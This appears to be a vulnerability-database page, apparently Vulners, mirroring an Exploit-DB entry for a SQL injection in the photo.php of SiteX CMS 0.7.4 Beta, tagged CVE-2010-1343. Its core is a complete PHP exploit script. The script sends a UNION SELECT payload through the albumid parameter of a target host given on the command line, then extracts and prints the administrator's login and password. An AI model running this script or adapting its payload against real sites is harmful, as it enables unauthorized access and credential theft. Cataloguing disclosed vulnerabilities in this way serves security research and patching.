Lucene search
+L

SiteX CMS 0.7.4 Beta - 'photo.php' SQL Injection

🗓️ 25 Mar 2010 00:00:00Reported by Sc0rpi0nType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

SiteX CMS 0.7.4 Beta photo.php SQL Injection exploi

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2010-1343
25 Mar 201000:00
circl
cve
CVE
CVE-2010-1343
9 Apr 201018:00
cve
cvelist
Cvelist
CVE-2010-1343
9 Apr 201018:00
cvelist
euvd
EUVD
EUVD-2010-1371
7 Oct 202500:30
euvd
nvd
NVD
CVE-2010-1343
9 Apr 201018:30
nvd
prion
Prion
Sql injection
9 Apr 201018:30
prion
nessus
Tenable Nessus
SiteX photo.php albumid Parameter SQL Injection
26 Mar 201000:00
nessus
<?php
echo "\n\n###########################################################################\n";
echo "##                                                                       ##\n";
echo "##   Product: SiteX CMS 0.7.4 beta (/photo.php) SQL-Injection exploit    ##\n";
echo "##   Usage: php.exe sitex.php www.site.com /cmspath/                     ##\n";
echo "##   Require: Magic_quotes = off                                         ##\n";
echo "##   Author: Sc0rpi0n [RUS] (http://scorpion.su)                         ##\n";
echo "##   Special for Antichat (forum.antichat.ru)                            ##\n";
echo "##   Bugs find: Iceangel_, [x60]unu, .:[melkiy]:.                        ##\n";
echo "##                                                                       ##\n";
echo "###########################################################################\n\n";
$host=$argv[1];
$path=$argv[2];
$script="photo.php?albumid=";
$sql=urlencode("-1' UNION SELECT 1,concat(0x3a3a,username,0x3a3a3a,password,0x3a3a3a3a),3,4,5,6,7,8 FROM SiteX_Users WHERE id=1 -- ");
$fsock=fsockopen($host,80);
$headers="GET http://$host$path$script$sql HTTP/1.0\r\n";
$headers.="Host: $host\r\n\r\n";
fwrite($fsock,$headers);
while(!feof($fsock))
        $response.=fread($fsock,1024);
$pos1=strpos($response,"::") or die("## http://$host is not vulnerable or error\n");
$pos2=strpos($response,":::") or die("## http://$host is not vulnerable or error\n");
$pos3=strpos($response,"::::") or die("## http://$host is not vulnerable or error\n");
$len1=$pos2-$pos1;
$len2=$pos3-$pos2;

$login=substr($response,$pos1+2,$len1-2);
$password=substr($response,$pos2+3,$len2-3);

echo "## Host: $argv[1]\n";
echo "## Login: $login\n";
echo "## Password: $password\n";
?>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Mar 2010 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01977
34